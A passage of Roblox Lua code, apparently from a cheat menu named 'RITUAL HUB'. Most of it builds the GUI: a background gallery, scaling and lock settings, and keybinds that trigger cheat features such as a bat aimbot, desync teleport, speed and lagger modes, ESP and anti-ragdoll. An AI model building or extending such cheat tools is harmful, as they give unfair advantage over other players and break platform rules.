closeBtn.TextSize=12; closeBtn.ZIndex=110; guiCorner(closeBtn,11); local closeStroke=guiStroke(closeBtn,Color3.fromRGB(63,67,86),1)
local headerDivider=Instance.new("Frame",popup)
headerDivider.Position=UDim2.fromOffset(20,76); headerDivider.Size=UDim2.new(1,-40,0,1)
headerDivider.BackgroundColor3=Color3.fromRGB(49,52,67); headerDivider.BackgroundTransparency=.28
headerDivider.BorderSizePixel=0; headerDivider.ZIndex=103
local previewPanel=Instance.new("Frame",popup)
previewPanel.Position=UDim2.fromOffset(20,92); previewPanel.Size=UDim2.fromOffset(420,356)
previewPanel.BackgroundColor3=Color3.fromRGB(11,12,19); previewPanel.BackgroundTransparency=.32
previewPanel.BorderSizePixel=0; previewPanel.ZIndex=103; guiCorner(previewPanel,16)
local previewStroke=guiStroke(previewPanel,Color3.fromRGB(52,55,72),1); previewStroke.Transparency=.2
local hero=Instance.new("ImageLabel",previewPanel)
hero.Position=UDim2.fromOffset(7,7); hero.Size=UDim2.new(1,-14,1,-80); hero.BackgroundColor3=Color3.fromRGB(5,6,10)
hero.BackgroundTransparency=0; hero.BorderSizePixel=0; hero.Image=_GACC.backgroundImages[selectedIndex]
hero.ScaleType=Enum.ScaleType.Fit; hero.ZIndex=104; guiCorner(hero,12)
local heroStroke=guiStroke(hero,Color3.fromRGB(65,69,88),1); heroStroke.Transparency=.32
local heroShade=Instance.new("Frame",hero)
heroShade.Size=UDim2.new(1,0,0,90); heroShade.Position=UDim2.new(0,0,1,-90)
heroShade.BackgroundColor3=Color3.fromRGB(4,5,9); heroShade.BackgroundTransparency=.18
heroShade.BorderSizePixel=0; heroShade.ZIndex=105
local heroShadeGrad=Instance.new("UIGradient",heroShade)
heroShadeGrad.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,1),NumberSequenceKeypoint.new(.55,.38),NumberSequenceKeypoint.new(1,0)})
heroShadeGrad.Rotation=90
local selectedTitle=Instance.new("TextLabel",previewPanel)
selectedTitle.Position=UDim2.fromOffset(18,290); selectedTitle.Size=UDim2.fromOffset(170,20)
selectedTitle.BackgroundTransparency=1; selectedTitle.TextColor3=Color3.fromRGB(241,243,252)
selectedTitle.Font=Enum.Font.GothamBlack; selectedTitle.TextSize=12; selectedTitle.TextXAlignment=Enum.TextXAlignment.Left; selectedTitle.ZIndex=108
local applyBtn=Instance.new("TextButton",previewPanel)
applyBtn.AnchorPoint=Vector2.new(1,1); applyBtn.Position=UDim2.new(1,-12,1,-12); applyBtn.Size=UDim2.fromOffset(166,46)
applyBtn.BackgroundColor3=_ACC.accentBg; applyBtn.BackgroundTransparency=.04; applyBtn.BorderSizePixel=0
applyBtn.Text="APPLY BACKGROUND"; applyBtn.TextColor3=_ACC.accent; applyBtn.Font=Enum.Font.GothamBlack
applyBtn.TextSize=10; applyBtn.AutoButtonColor=false; applyBtn.ZIndex=109; guiCorner(applyBtn,12)
local applyStroke=guiStroke(applyBtn,_ACC.accentDark,1.2); applyStroke.Transparency=.08
local applyScale=Instance.new("UIScale",applyBtn)
local libraryPanel=Instance.new("Frame",popup)
libraryPanel.Position=UDim2.fromOffset(454,92); libraryPanel.Size=UDim2.new(1,-474,1,-114)
libraryPanel.BackgroundColor3=Color3.fromRGB(10,11,18); libraryPanel.BackgroundTransparency=.38
libraryPanel.BorderSizePixel=0; libraryPanel.ZIndex=103; guiCorner(libraryPanel,16)
local libraryStroke=guiStroke(libraryPanel,Color3.fromRGB(47,50,66),1); libraryStroke.Transparency=.28
local libraryTitle=Instance.new("TextLabel",libraryPanel)
libraryTitle.Position=UDim2.fromOffset(14,11); libraryTitle.Size=UDim2.new(1,-28,0,20)
libraryTitle.BackgroundTransparency=1; libraryTitle.Text="IMAGE LIBRARY"; libraryTitle.TextColor3=Color3.fromRGB(220,223,237)
libraryTitle.Font=Enum.Font.GothamBlack; libraryTitle.TextSize=10; libraryTitle.TextXAlignment=Enum.TextXAlignment.Left; libraryTitle.ZIndex=105
local countBadge=Instance.new("TextLabel",libraryPanel)
countBadge.AnchorPoint=Vector2.new(1,0); countBadge.Position=UDim2.new(1,-12,0,9); countBadge.Size=UDim2.fromOffset(28,22)
countBadge.BackgroundColor3=_ACC.accentBg; countBadge.BackgroundTransparency=.12; countBadge.BorderSizePixel=0
countBadge.Text=tostring(#_GACC.backgroundImages); countBadge.TextColor3=_ACC.accent; countBadge.Font=Enum.Font.GothamBlack
countBadge.TextSize=9; countBadge.ZIndex=106; guiCorner(countBadge,7)
local showcase=Instance.new("Frame",libraryPanel)
showcase.Name="LiveShowcase";showcase.Position=UDim2.fromOffset(10,40);showcase.Size=UDim2.new(1,-20,0,146)
showcase.BackgroundColor3=Color3.fromRGB(5,6,10);showcase.BackgroundTransparency=.34
showcase.BorderSizePixel=0;showcase.ClipsDescendants=true;showcase.ZIndex=105;showcase.Visible=false;guiCorner(showcase,12)
local showcaseStroke=guiStroke(showcase,Color3.fromRGB(76,82,104),1);showcaseStroke.Transparency=.38
local showcaseBg=Instance.new("ImageLabel",showcase)
showcaseBg.Size=UDim2.fromScale(1,1);showcaseBg.BackgroundTransparency=1
showcaseBg.Image=_GACC.backgroundImages[selectedIndex];showcaseBg.ImageTransparency=.16
showcaseBg.ScaleType=Enum.ScaleType.Crop;showcaseBg.ZIndex=105;guiCorner(showcaseBg,12)
local glassShade=Instance.new("Frame",showcase)
glassShade.Size=UDim2.fromScale(1,1);glassShade.BackgroundColor3=Color3.fromRGB(5,8,14)
glassShade.BackgroundTransparency=.72;glassShade.BorderSizePixel=0;glassShade.ZIndex=106;guiCorner(glassShade,12)
local mockGui=Instance.new("Frame",showcase)
mockGui.AnchorPoint=Vector2.new(.5,.5);mockGui.Position=UDim2.fromScale(.5,.5);mockGui.Size=UDim2.new(1,-28,1,-20)
mockGui.BackgroundColor3=Color3.fromRGB(8,10,17);mockGui.BackgroundTransparency=.42
mockGui.BorderSizePixel=0;mockGui.ZIndex=107;guiCorner(mockGui,9)
local mockStroke=guiStroke(mockGui,_ACC.accentDark,1);mockStroke.Transparency=.25
local mockHeader=Instance.new("Frame",mockGui)
mockHeader.Size=UDim2.new(1,0,0,27);mockHeader.BackgroundColor3=_ACC.accentBg
mockHeader.BackgroundTransparency=.52;mockHeader.BorderSizePixel=0;mockHeader.ZIndex=108;guiCorner(mockHeader,9)
local mockHeaderCover=Instance.new("Frame",mockHeader)
mockHeaderCover.Position=UDim2.new(0,0,1,-8);mockHeaderCover.Size=UDim2.new(1,0,0,8)
mockHeaderCover.BackgroundColor3=mockHeader.BackgroundColor3;mockHeaderCover.BackgroundTransparency=mockHeader.BackgroundTransparency
mockHeaderCover.BorderSizePixel=0;mockHeaderCover.ZIndex=108
local mockTitle=Instance.new("TextLabel",mockHeader)
mockTitle.Position=UDim2.fromOffset(8,2);mockTitle.Size=UDim2.new(1,-38,0,20);mockTitle.BackgroundTransparency=1
mockTitle.RichText=true;mockTitle.Text='RITUAL HUB'
mockTitle.TextColor3=Color3.fromRGB(241,244,252);mockTitle.Font=Enum.Font.GothamBold
mockTitle.TextSize=9;mockTitle.TextXAlignment=Enum.TextXAlignment.Left;mockTitle.ZIndex=109
local mockAvatar=Instance.new("ImageLabel",mockHeader)
mockAvatar.AnchorPoint=Vector2.new(1,.5);mockAvatar.Position=UDim2.new(1,-7,.5,0);mockAvatar.Size=UDim2.fromOffset(18,18)
mockAvatar.BackgroundColor3=_ACC.accentBg;mockAvatar.BackgroundTransparency=.38;mockAvatar.BorderSizePixel=0
mockAvatar.Image="";mockAvatar.ZIndex=109;guiCorner(mockAvatar,9)
task.spawn(function()
local ok,thumb=pcall(function() return Players:GetUserThumbnailAsync(LP.UserId,Enum.ThumbnailType.HeadShot,Enum.ThumbnailSize.Size48x48) end)
if ok and mockAvatar.Parent then mockAvatar.Image=thumb end
end)
local mockRail=Instance.new("Frame",mockGui)
mockRail.Position=UDim2.fromOffset(6,33);mockRail.Size=UDim2.fromOffset(48,82)
mockRail.BackgroundColor3=Color3.fromRGB(6,7,12);mockRail.BackgroundTransparency=.52
mockRail.BorderSizePixel=0;mockRail.ZIndex=108;guiCorner(mockRail,7)
for i,name in ipairs({"SPEED","COMBAT","MOVE","VISUAL"}) do
local nav=Instance.new("TextLabel",mockRail)
nav.Position=UDim2.fromOffset(4,4+(i-1)*19);nav.Size=UDim2.new(1,-8,0,15)
nav.BackgroundColor3=i==1 and _ACC.accentBg or Color3.fromRGB(15,17,25)
nav.BackgroundTransparency=i==1 and .28 or .62;nav.BorderSizePixel=0
nav.Text=name;nav.TextColor3=i==1 and _ACC.accent or Color3.fromRGB(145,150,170)
nav.Font=Enum.Font.GothamBold;nav.TextSize=5;nav.ZIndex=109;guiCorner(nav,4)
end
local mockContent=Instance.new("ScrollingFrame",mockGui)
mockContent.Position=UDim2.fromOffset(60,33);mockContent.Size=UDim2.new(1,-66,1,-39)
mockContent.BackgroundTransparency=1;mockContent.BorderSizePixel=0;mockContent.ScrollBarThickness=1
mockContent.ScrollBarImageColor3=_ACC.accent;mockContent.CanvasSize=UDim2.fromOffset(0,145)
mockContent.ScrollingEnabled=true;mockContent.Active=true;mockContent.ZIndex=108
local mockLayout=Instance.new("UIListLayout",mockContent);mockLayout.Padding=UDim.new(0,4)
for i,name in ipairs({"NORMAL SPEED","CARRY SPEED","LAGGER NORMAL","LAGGER CARRY","AUTO SWITCH","MOVEMENT MODE"}) do
local row=Instance.new("Frame",mockContent)
row.Size=UDim2.new(1,-3,0,19);row.BackgroundColor3=Color3.fromRGB(16,18,27)
row.BackgroundTransparency=.48;row.BorderSizePixel=0;row.LayoutOrder=i;row.ZIndex=109;guiCorner(row,5)
local rowText=Instance.new("TextLabel",row)
rowText.Position=UDim2.fromOffset(6,0);rowText.Size=UDim2.new(1,-35,1,0);rowText.BackgroundTransparency=1
rowText.Text=name;rowText.TextColor3=Color3.fromRGB(215,219,232);rowText.Font=Enum.Font.GothamMedium
rowText.TextSize=5;rowText.TextXAlignment=Enum.TextXAlignment.Left;rowText.ZIndex=110
local pill=Instance.new("Frame",row)
pill.AnchorPoint=Vector2.new(1,.5);pill.Position=UDim2.new(1,-5,.5,0);pill.Size=UDim2.fromOffset(20,9)
pill.BackgroundColor3=i%2==0 and _ACC.accentBg or Color3.fromRGB(38,41,53)
pill.BackgroundTransparency=.24;pill.BorderSizePixel=0;pill.ZIndex=110;guiCorner(pill,5)
end
local browseLabel=Instance.new("TextLabel",libraryPanel)
browseLabel.Position=UDim2.fromOffset(12,38);browseLabel.Size=UDim2.new(1,-24,0,16)
browseLabel.BackgroundTransparency=1;browseLabel.Text="SCROLL TO PREVIEW STYLES"
browseLabel.TextColor3=Color3.fromRGB(150,156,178);browseLabel.Font=Enum.Font.GothamBold
browseLabel.TextSize=7;browseLabel.TextXAlignment=Enum.TextXAlignment.Left;browseLabel.ZIndex=106
local gallery=Instance.new("ScrollingFrame",libraryPanel)
gallery.Position=UDim2.fromOffset(10,58); gallery.Size=UDim2.new(1,-20,1,-68)
gallery.BackgroundTransparency=1; gallery.BorderSizePixel=0; gallery.ScrollBarThickness=2
gallery.ScrollBarImageColor3=_ACC.accent; gallery.CanvasSize=UDim2.fromOffset(0,0)
gallery.AutomaticCanvasSize=Enum.AutomaticSize.Y; gallery.ZIndex=104
local grid=Instance.new("UIGridLayout",gallery)
grid.CellSize=UDim2.fromOffset(100,72); grid.CellPadding=UDim2.fromOffset(8,8)
grid.HorizontalAlignment=Enum.HorizontalAlignment.Center; grid.SortOrder=Enum.SortOrder.LayoutOrder
local galleryPad=Instance.new("UIPadding",gallery)
galleryPad.PaddingTop=UDim.new(0,2); galleryPad.PaddingBottom=UDim.new(0,8)
local function refreshSelection()
selectedIndex=math.clamp(selectedIndex,1,#_GACC.backgroundImages)
hero.Image=_GACC.backgroundImages[selectedIndex]
showcaseBg.Image=_GACC.backgroundImages[selectedIndex]
if externalShowcaseBg then externalShowcaseBg.Image=_GACC.backgroundImages[selectedIndex] end
selectedTitle.Text=string.format("IMAGE %02d",selectedIndex)
local active=selectedIndex==backgroundIndex
applyBtn.Text=active and "CURRENTLY ACTIVE" or "APPLY BACKGROUND"
applyBtn.BackgroundColor3=active and Color3.fromRGB(22,30,27) or _ACC.accentBg
applyBtn.TextColor3=active and Color3.fromRGB(132,230,168) or _ACC.accent
applyStroke.Color=active and Color3.fromRGB(72,155,101) or _ACC.accentDark
for index,ref in ipairs(cardRefs) do
local selected=index==selectedIndex
local current=index==backgroundIndex
ref.stroke.Color=selected and _ACC.accent or (current and Color3.fromRGB(84,180,116) or Color3.fromRGB(48,51,66))
ref.stroke.Thickness=selected and 2.2 or 1
ref.stroke.Transparency=selected and .02 or .25
ref.badge.Text=current and "ON" or string.format("%02d",index)
ref.badge.BackgroundColor3=current and Color3.fromRGB(32,72,47) or Color3.fromRGB(10,11,17)
ref.badge.TextColor3=current and Color3.fromRGB(151,235,178) or Color3.fromRGB(197,201,218)
end
end
local function closeGallery()
if closing then return end
closing=true
if responsiveConn then responsiveConn:Disconnect(); responsiveConn=nil end
TweenService:Create(blur,TweenInfo.new(.22),{Size=0}):Play()
TweenService:Create(overlay,TweenInfo.new(.24),{BackgroundTransparency=1}):Play()
TweenService:Create(popup,TweenInfo.new(.26,Enum.EasingStyle.Back,Enum.EasingDirection.In),{GroupTransparency=1,Rotation=3}):Play()
TweenService:Create(popupScale,TweenInfo.new(.26,Enum.EasingStyle.Back,Enum.EasingDirection.In),{Scale=targetScale*.8}):Play()
TweenService:Create(showcasePanel,TweenInfo.new(.24,Enum.EasingStyle.Quint,Enum.EasingDirection.In),{GroupTransparency=1}):Play()
TweenService:Create(showcaseScale,TweenInfo.new(.26,Enum.EasingStyle.Back,Enum.EasingDirection.In),{Scale=targetScale*.8}):Play()
task.delay(.28,function()
if blur then blur:Destroy() end
if modalGui then modalGui:Destroy() end
end)
end
for index,asset in ipairs(_GACC.backgroundImages) do
local card=Instance.new("ImageButton",gallery)
card.Name="Background"..index; card.LayoutOrder=index; card.BackgroundColor3=Color3.fromRGB(12,13,20)
card.BackgroundTransparency=1; card.BorderSizePixel=0; card.Image=asset; card.ImageTransparency=1
card.ScaleType=Enum.ScaleType.Fit; card.AutoButtonColor=false; card.ZIndex=105; guiCorner(card,11)
local cardStroke=guiStroke(card,Color3.fromRGB(48,51,66),1); cardStroke.Transparency=1
local cardScale=Instance.new("UIScale",card); cardScale.Scale=.82
local cardShade=Instance.new("Frame",card)
cardShade.Size=UDim2.new(1,0,0,28); cardShade.Position=UDim2.new(0,0,1,-28)
cardShade.BackgroundColor3=Color3.fromRGB(5,6,10); cardShade.BackgroundTransparency=.12
cardShade.BorderSizePixel=0; cardShade.ZIndex=106; guiCorner(cardShade,10)
local cover=Instance.new("Frame",cardShade)
cover.Size=UDim2.new(1,0,0,10); cover.BackgroundColor3=cardShade.BackgroundColor3
cover.BackgroundTransparency=cardShade.BackgroundTransparency; cover.BorderSizePixel=0; cover.ZIndex=106
local badge=Instance.new("TextLabel",cardShade)
badge.AnchorPoint=Vector2.new(1,.5); badge.Position=UDim2.new(1,-6,.5,0); badge.Size=UDim2.fromOffset(34,18)
badge.BackgroundColor3=Color3.fromRGB(10,11,17); badge.BorderSizePixel=0; badge.Text=string.format("%02d",index)
badge.TextColor3=Color3.fromRGB(197,201,218); badge.Font=Enum.Font.GothamBlack; badge.TextSize=8; badge.ZIndex=108; guiCorner(badge,6)
local miniTitle=Instance.new("TextLabel",cardShade)
miniTitle.Position=UDim2.fromOffset(7,5); miniTitle.Size=UDim2.new(1,-48,0,18); miniTitle.BackgroundTransparency=1
miniTitle.Text="STYLE"; miniTitle.TextColor3=Color3.fromRGB(225,228,240); miniTitle.Font=Enum.Font.GothamBold
miniTitle.TextSize=8; miniTitle.TextXAlignment=Enum.TextXAlignment.Left; miniTitle.ZIndex=108
cardRefs[index]={stroke=cardStroke,badge=badge,scale=cardScale,card=card}
card.MouseEnter:Connect(function()
TweenService:Create(cardScale,TweenInfo.new(.16,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Scale=1.035}):Play()
cardStroke.Color=_ACC.accentDark; cardStroke.Transparency=.02
end)
card.MouseLeave:Connect(function()
TweenService:Create(cardScale,TweenInfo.new(.18,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Scale=1}):Play()
refreshSelection()
end)
card.MouseButton1Click:Connect(function()
selectedIndex=index; refreshSelection()
hero.ImageTransparency=.3
TweenService:Create(hero,TweenInfo.new(.22,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{ImageTransparency=0}):Play()
showcaseBg.ImageTransparency=.48
TweenService:Create(showcaseBg,TweenInfo.new(.26,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{ImageTransparency=.16}):Play()
if externalShowcaseBg then
externalShowcaseBg.ImageTransparency=.48
TweenService:Create(externalShowcaseBg,TweenInfo.new(.26,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{ImageTransparency=.18}):Play()
end
showcaseClone.Size=UDim2.new(.96,0,.96,0);showcaseClone.Position=UDim2.new(.02,0,.02,0)
TweenService:Create(showcaseClone,TweenInfo.new(.28,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Size=UDim2.fromScale(1,1),Position=UDim2.fromOffset(0,0)}):Play()
end)
task.delay(.16+index*.045,function()
if not card.Parent then return end
TweenService:Create(card,TweenInfo.new(.3,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{BackgroundTransparency=.03,ImageTransparency=0}):Play()
TweenService:Create(cardStroke,TweenInfo.new(.3),{Transparency=index==selectedIndex and .02 or .25}):Play()
TweenService:Create(cardScale,TweenInfo.new(.34,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Scale=1}):Play()
end)
end
applyBtn.MouseEnter:Connect(function()
TweenService:Create(applyScale,TweenInfo.new(.15,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Scale=1.025}):Play()
TweenService:Create(applyBtn,TweenInfo.new(.15),{BackgroundTransparency=0}):Play()
end)
applyBtn.MouseLeave:Connect(function()
TweenService:Create(applyScale,TweenInfo.new(.18,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Scale=1}):Play()
TweenService:Create(applyBtn,TweenInfo.new(.18),{BackgroundTransparency=.04}):Play()
end)
applyBtn.MouseButton1Click:Connect(function()
if selectedIndex==backgroundIndex then return end
backgroundIndex=selectedIndex; backgroundEnabled=true; applyBackgroundImage(); saveConfig(); refreshSelection()
applyScale.Scale=.94
TweenService:Create(applyScale,TweenInfo.new(.3,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Scale=1}):Play()
previewStroke.Color=Color3.fromRGB(98,205,133); previewStroke.Transparency=0
TweenService:Create(previewStroke,TweenInfo.new(.55),{Color=Color3.fromRGB(52,55,72),Transparency=.2}):Play()
end)
closeBtn.MouseEnter:Connect(function()
TweenService:Create(closeBtn,TweenInfo.new(.15),{BackgroundColor3=Color3.fromRGB(53,31,39),TextColor3=Color3.fromRGB(255,190,204)}):Play()
closeStroke.Color=Color3.fromRGB(135,69,83)
end)
closeBtn.MouseLeave:Connect(function()
TweenService:Create(closeBtn,TweenInfo.new(.18),{BackgroundColor3=Color3.fromRGB(24,26,38),TextColor3=Color3.fromRGB(211,215,231)}):Play()
closeStroke.Color=Color3.fromRGB(63,67,86)
end)
closeBtn.MouseButton1Click:Connect(closeGallery)
overlay.MouseButton1Click:Connect(closeGallery)
popup.InputBegan:Connect(function() end)
refreshSelection()
TweenService:Create(blur,TweenInfo.new(.3,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Size=14}):Play()
TweenService:Create(overlay,TweenInfo.new(.28),{BackgroundTransparency=.32}):Play()
TweenService:Create(popup,TweenInfo.new(.44,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{GroupTransparency=0,Rotation=0}):Play()
TweenService:Create(popupScale,TweenInfo.new(.44,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Scale=targetScale}):Play()
TweenService:Create(showcasePanel,TweenInfo.new(.46,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{GroupTransparency=0}):Play()
TweenService:Create(showcaseScale,TweenInfo.new(.44,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Scale=targetScale}):Play()
task.spawn(function()
local rotation=8
while popup and popup.Parent do
rotation=(rotation+.7)%360; topGlowGrad.Rotation=rotation; task.wait(.04)
end
end)
end,1)
end)(CategoryRefs.contents["Visual"])
-- Add Scale rows in Settings
local settingsPage = CategoryRefs.contents["Settings"]
local scaleSection = mkSection(settingsPage, "UI SCALING", 2)
addScaleRow(scaleSection, "Menu Scale", function() return menuScale end, function(v) menuScale=v; if _GACC.menuScaleObj then _GACC.menuScaleObj.Scale=v end end, 1)
addScaleRow(scaleSection, "Mobile Btn Scale", function() return mobileBtnScale end, function(v) mobileBtnScale=v; if _GACC.mobileScaleObj then _GACC.mobileScaleObj.Scale=v end end, 2)
addScaleRow(scaleSection, "Steal Bar Scale", function() return stealBarScale end, function(v) stealBarScale=v; if _GACC.stealBarScaleObj then _GACC.stealBarScaleObj.Scale=v end end, 3)
do local b=mkSection(settingsPage, "LOCK", 3)
addToggleRow(b,"Lock Mobile Buttons",mobileButtonsLocked,1,nil,function(on)
mobileButtonsLocked=on
saveConfig()
end)
addToggleRow(b,"Lock UI",uiLocked,2,nil,function(on)
uiLocked=on
saveConfig()
end)
end
do
local kbPage=CategoryRefs.contents["Keybinds"]
local kbBody=mkSection(kbPage,"BINDS",0)
addKeybindRow(kbBody,"Hide GUI", "guiHide", 1)
addKeybindRow(kbBody,"Speed Toggle", "speed", 2)
addKeybindRow(kbBody,"Carry Mode", "carryMode", 3)
addKeybindRow(kbBody,"Lagger Mode", "laggerToggle",4)
addKeybindRow(kbBody,"Bat Aimbot", "circle", 5)
addKeybindRow(kbBody,"Bat Desync TP", "batDesyncTp", 6)
addKeybindRow(kbBody,"Auto Left", "autoLeft", 7)
addKeybindRow(kbBody,"Auto Right", "autoRight", 8)
addKeybindRow(kbBody,"Drop Brainrot", "dropBrainrot",9)
addKeybindRow(kbBody,"TP Down", "tpDown", 10)
addKeybindRow(kbBody,"Instant Reset", "instantReset",11)
end
UIS.InputBegan:Connect(function(inp,gp)
if gp then return end
if UIS:GetFocusedTextBox() then return end
if inp.KeyCode==Keys.guiHide then if GuiRefs.outer then GuiRefs.outer.Visible=not GuiRefs.outer.Visible end
elseif inp.KeyCode==Keys.speed then toggleCarryMode(); saveConfig()
elseif inp.KeyCode==Keys.carryMode then toggleCarryMode(); saveConfig()
elseif inp.KeyCode==Keys.laggerToggle then toggleLaggerMode(); saveConfig()
elseif inp.KeyCode==Keys.circle then
autoBatEnabled=not autoBatEnabled
if autoBatEnabled then
_GACC.exclusiveStop("batAimbot")
autoBatEnabled=true
startBatAimbot()
else stopBatAimbot() end
if autoBatSetVisual then autoBatSetVisual(autoBatEnabled) end
if mobBtnRefs.autoBat then mobBtnRefs.autoBat(autoBatEnabled) end
saveConfig()
elseif inp.KeyCode==Keys.batDesyncTp then
batDesyncTpEnabled=not batDesyncTpEnabled
if batDesyncTpEnabled then
_GACC.exclusiveStop("batTp")
batDesyncTpEnabled=true
startBatDesyncTp()
else stopBatDesyncTp() end
if batDesyncTpSetVisual then batDesyncTpSetVisual(batDesyncTpEnabled) end
saveConfig()
elseif inp.KeyCode==Keys.dropBrainrot then runDrop()
elseif inp.KeyCode==Keys.tpDown then runTPFloor()
elseif inp.KeyCode==Keys.instantReset then instantReset()
elseif inp.KeyCode==Keys.autoLeft then
if autoLeftEnabled then
autoLeftEnabled=false; stopAutoLeft()
else
_GACC.exclusiveStop("autoLeft")
autoLeftEnabled=true; startAutoLeft()
end
if autoLeftSetVisual then autoLeftSetVisual(autoLeftEnabled) end
if mobBtnRefs.autoLeft then mobBtnRefs.autoLeft(autoLeftEnabled) end
elseif inp.KeyCode==Keys.autoRight then
if autoRightEnabled then
autoRightEnabled=false; stopAutoRight()
else
_GACC.exclusiveStop("autoRight")
autoRightEnabled=true; startAutoRight()
end
if autoRightSetVisual then autoRightSetVisual(autoRightEnabled) end
if mobBtnRefs.autoRight then mobBtnRefs.autoRight(autoRightEnabled) end
end
end)
end)
for _,object in ipairs(GuiHub:GetDescendants()) do
if object:IsA("TextLabel") or object:IsA("TextButton") or object:IsA("TextBox") then
object.Font=object.TextSize>=16 and Enum.Font.GothamBold or Enum.Font.GothamMedium
end
end
task.defer(function() if applyColorTheme then applyColorTheme(currentColorTheme) end end)
end)()
local function onCharacterAdded(char)
task.wait(0.5)
if medusaCounterEnabled then setupMedusa(char) end
if unwalkEnabled then task.wait(0.5); startUnwalk() end
if refreshSpeedModeLabel then refreshSpeedModeLabel() end
if mobBtnRefs.carrySpeed then mobBtnRefs.carrySpeed(carrySpeedActive) end
if mobBtnRefs.lagger then mobBtnRefs.lagger(laggerModeEnabled) end
_GACC.extras.onCharacter(char)
if _GACC.medusaResetEnabled then _GACC.startMedusaReset(char) end
-- Anti Die is handled by its own CharacterAdded connection inside startAntiDie
end
LP.CharacterAdded:Connect(onCharacterAdded)
if LP.Character then onCharacterAdded(LP.Character) end
if infJumpEnabled then startHoldInfJump() end
if antiRagdollEnabled then startAntiRagdoll() end
if _GACC.batCounterEnabled then _GACC.startBatCounter() end
if medusaCounterEnabled then setupMedusa(LP.Character) end
applyBackgroundImage()
if _GACC.playerHighlightEnabled then _GACC.startESP() end
CandyApplyCustomSky(currentSkyTheme)
-- Apply initial scales
if _GACC.menuScaleObj then _GACC.menuScaleObj.Scale = menuScale end
if _GACC.mobileScaleObj then _GACC.mobileScaleObj.Scale = mobileBtnScale end
if _GACC.stealBarScaleObj then _GACC.stealBarScaleObj.Scale = stealBarScale end
-- Start Anti Die if enabled (already handled in pcall above, but ensure it's on)
if antiDieEnabled then
task.spawn(function()
task.wait(1.5) -- wait a bit for character to load
startAntiDie()
end)
end